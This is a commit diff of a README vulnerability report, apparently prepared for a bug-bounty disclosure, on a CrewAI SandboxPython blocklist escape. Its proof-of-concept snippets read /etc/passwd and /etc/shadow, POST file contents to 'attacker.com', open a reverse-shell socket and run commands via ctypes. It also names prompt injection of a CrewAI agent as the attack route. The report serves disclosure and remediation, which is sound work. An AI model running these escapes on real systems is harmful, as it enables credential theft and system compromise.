vellaveto commited on
Commit
262ec93
Β·
verified Β·
1 Parent(s): 6e7b69f

Polished report + runnable PoC for huntr submission

Browse files
Files changed (1) hide show
  1. README.md +58 -58
README.md CHANGED
@@ -1,106 +1,106 @@
1
- # CrewAI SandboxPython Escape β€” Arbitrary File Read / Network Access / RCE via Unblocked Module Imports
2
 
3
  ## Vulnerability Type
4
- CWE-693: Protection Mechanism Failure (Sandbox Escape)
5
 
6
  ## Severity
7
- Critical β€” Full sandbox escape allows arbitrary file read, network exfiltration, and code execution
8
 
9
  ## Affected Component
10
- - **File:** `lib/crewai-tools/src/crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
 
11
  - **Class:** `SandboxPython`
12
- - **Method:** `SandboxPython.exec()` (line 143)
13
- - **Version:** Latest main branch (verified 2026-03-21)
14
 
15
  ## Description
16
 
17
- The `CodeInterpreterTool` uses a `SandboxPython` class to execute user-provided Python code in a restricted environment. The sandbox blocks certain builtins (`exec`, `eval`, `open`, `compile`) and certain module imports (`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`).
18
 
19
- However, the blocklist is incomplete. Many dangerous modules remain importable, allowing full sandbox escape:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
20
 
21
  ## Proof of Concept
22
 
23
- ### 1. Arbitrary File Read via `pathlib`
 
 
24
  ```python
25
- # pathlib is NOT in BLOCKED_MODULES
26
  data = __import__('pathlib').Path('/etc/passwd').read_text()
27
- print(data)
28
  ```
29
 
30
- ### 2. Network Exfiltration via `http.client`
31
  ```python
32
- # http.client is NOT in BLOCKED_MODULES
33
  import http.client
34
  conn = http.client.HTTPSConnection("attacker.com")
35
  conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
36
  conn.getresponse()
37
  ```
38
 
39
- ### 3. Reverse Shell via `socket`
40
  ```python
41
- # socket is NOT in BLOCKED_MODULES
42
- import socket
43
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
44
- s.connect(("attacker.com", 4444))
45
- # ... standard reverse shell
46
  ```
47
 
48
- ### 4. Arbitrary C Calls via `ctypes`
49
  ```python
50
- # ctypes is NOT in BLOCKED_MODULES
51
  import ctypes
52
  libc = ctypes.CDLL("libc.so.6")
53
  libc.system(b"id > /tmp/pwned")
54
  ```
55
 
56
- ### 5. File I/O via `io`
57
  ```python
58
- # io is NOT in BLOCKED_MODULES
59
- import io
60
- # 'open' builtin is blocked, but io.open is not
61
- f = io.open('/etc/shadow', 'r')
62
- print(f.read())
63
  ```
64
 
65
- ## Unblocked Dangerous Modules
66
 
67
- The following modules are NOT in `BLOCKED_MODULES` and allow sandbox escape:
68
 
69
- | Module | Capability |
70
- |--------|-----------|
71
- | `pathlib` | Arbitrary file read/write |
72
- | `socket` | Network connections, reverse shells |
73
- | `http.client` | HTTP requests, data exfiltration |
74
- | `urllib.request` | HTTP requests |
75
- | `ctypes` | Arbitrary C function calls, `system()` |
76
- | `io` | File I/O (bypasses `open` builtin block) |
77
- | `signal` | Signal handling manipulation |
78
- | `code` | Interactive interpreter |
79
- | `pickle` | Deserialization-based code execution |
80
- | `multiprocessing` | Process spawning |
81
- | `threading` | Thread spawning |
82
- | `asyncio` | Async execution |
83
- | `xml.etree` | XXE if parsing user XML |
84
- | `zipfile` | Archive manipulation |
85
- | `tarfile` | Archive manipulation with path traversal |
86
 
87
  ## Impact
88
 
89
- An attacker who can provide code to the `CodeInterpreterTool` (e.g., via a prompt injection into a CrewAI agent, or directly as a tool user) can:
90
-
91
- 1. **Read arbitrary files** β€” secrets, credentials, SSH keys, environment variables
92
- 2. **Exfiltrate data** β€” send stolen data to attacker server via HTTP/socket
93
- 3. **Execute arbitrary commands** β€” via `ctypes.CDLL("libc.so.6").system()`
94
- 4. **Establish persistence** β€” write files, create cron jobs, install backdoors
95
- 5. **Pivot to infrastructure** β€” access cloud metadata, internal services
96
-
97
- ## Root Cause
98
 
99
- The sandbox uses a **blocklist approach** instead of an **allowlist approach**. Only 9 modules are blocked, but Python's standard library contains hundreds of modules with dangerous capabilities.
 
 
 
 
100
 
101
  ## Suggested Fix
102
 
103
- Switch to an allowlist approach:
104
 
105
  ```python
106
  ALLOWED_MODULES = {
@@ -117,4 +117,4 @@ def restricted_import(name, *args, **kwargs):
117
  return __import__(name, *args, **kwargs)
118
  ```
119
 
120
- Alternatively, use Docker-based isolation (which `CodeInterpreterTool` already supports as an option) as the default instead of the Python-level sandbox.
 
1
+ # CrewAI SandboxPython Escape β€” Incomplete Blocklist Allows Full RCE
2
 
3
  ## Vulnerability Type
4
+ CWE-693: Protection Mechanism Failure
5
 
6
  ## Severity
7
+ Critical
8
 
9
  ## Affected Component
10
+ - **Package:** `crewai-tools`
11
+ - **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
12
  - **Class:** `SandboxPython`
13
+ - **Version:** Latest (`main` branch, verified 2026-03-22)
 
14
 
15
  ## Description
16
 
17
+ The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach β€” only explicitly listed items are denied.
18
 
19
+ The blocklist is incomplete. **15 dangerous standard library modules** are not blocked, giving full sandbox escape: arbitrary file read/write, outbound network access, and native code execution.
20
+
21
+ ### Blocked (9 modules)
22
+ `os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
23
+
24
+ ### Not Blocked (15 modules β€” each enables escape)
25
+ | Module | Capability |
26
+ |--------|-----------|
27
+ | `pathlib` | Arbitrary file read/write |
28
+ | `socket` | Raw network connections |
29
+ | `http.client` | HTTP requests to any host |
30
+ | `urllib.request` | HTTP requests |
31
+ | `ctypes` | Call any C function (`libc.system()`) |
32
+ | `io` | File I/O β€” bypasses blocked `open` builtin |
33
+ | `pickle` | Deserialization RCE |
34
+ | `multiprocessing` | Spawn processes |
35
+ | `threading` | Spawn threads |
36
+ | `asyncio` | Async execution |
37
+ | `signal` | Signal manipulation |
38
+ | `code` | Interactive interpreter |
39
+ | `xml.etree.ElementTree` | XML parsing |
40
+ | `zipfile` | Archive manipulation |
41
+ | `tarfile` | Archive extraction with path traversal |
42
 
43
  ## Proof of Concept
44
 
45
+ Run `poc.py` β€” it reproduces the exact `SandboxPython` class from source, verifies that blocked modules are correctly denied, then demonstrates 5 independent escape paths.
46
+
47
+ ### Escape 1: File Read via `pathlib`
48
  ```python
49
+ # Inside SandboxPython.exec():
50
  data = __import__('pathlib').Path('/etc/passwd').read_text()
 
51
  ```
52
 
53
+ ### Escape 2: Network Exfiltration via `http.client`
54
  ```python
55
+ # Inside SandboxPython.exec():
56
  import http.client
57
  conn = http.client.HTTPSConnection("attacker.com")
58
  conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
59
  conn.getresponse()
60
  ```
61
 
62
+ ### Escape 3: File I/O via `io` (bypasses blocked `open` builtin)
63
  ```python
64
+ # 'open' is in UNSAFE_BUILTINS, but io.open is not blocked:
65
+ f = __import__('io').open('/etc/shadow', 'r')
66
+ print(f.read())
 
 
67
  ```
68
 
69
+ ### Escape 4: Native Code Execution via `ctypes`
70
  ```python
71
+ # Inside SandboxPython.exec():
72
  import ctypes
73
  libc = ctypes.CDLL("libc.so.6")
74
  libc.system(b"id > /tmp/pwned")
75
  ```
76
 
77
+ ### Escape 5: Reverse Shell via `socket`
78
  ```python
79
+ # Inside SandboxPython.exec():
80
+ import socket
81
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
82
+ s.connect(("attacker.com", 4444))
 
83
  ```
84
 
85
+ ## Root Cause
86
 
87
+ The sandbox uses a **blocklist** (deny specific modules) instead of an **allowlist** (permit only safe modules). Python's standard library contains hundreds of modules with dangerous capabilities. Blocking 9 while leaving 15+ dangerous ones accessible defeats the purpose of the sandbox.
88
 
89
+ The sandbox's existence β€” with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function β€” proves the intent was to restrict code execution. The restriction simply doesn't work.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
90
 
91
  ## Impact
92
 
93
+ Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
 
 
 
 
 
 
 
 
94
 
95
+ 1. **Arbitrary file read** β€” secrets, credentials, SSH keys, environment variables
96
+ 2. **Network exfiltration** β€” send stolen data to attacker server
97
+ 3. **Arbitrary command execution** β€” via `ctypes.CDLL("libc.so.6").system()`
98
+ 4. **Process spawning** β€” via `multiprocessing`
99
+ 5. **Full system compromise** β€” equivalent to unsandboxed `exec()`
100
 
101
  ## Suggested Fix
102
 
103
+ Switch to an **allowlist** approach:
104
 
105
  ```python
106
  ALLOWED_MODULES = {
 
117
  return __import__(name, *args, **kwargs)
118
  ```
119
 
120
+ Alternatively, make Docker-based execution the default and remove the Python-level sandbox entirely.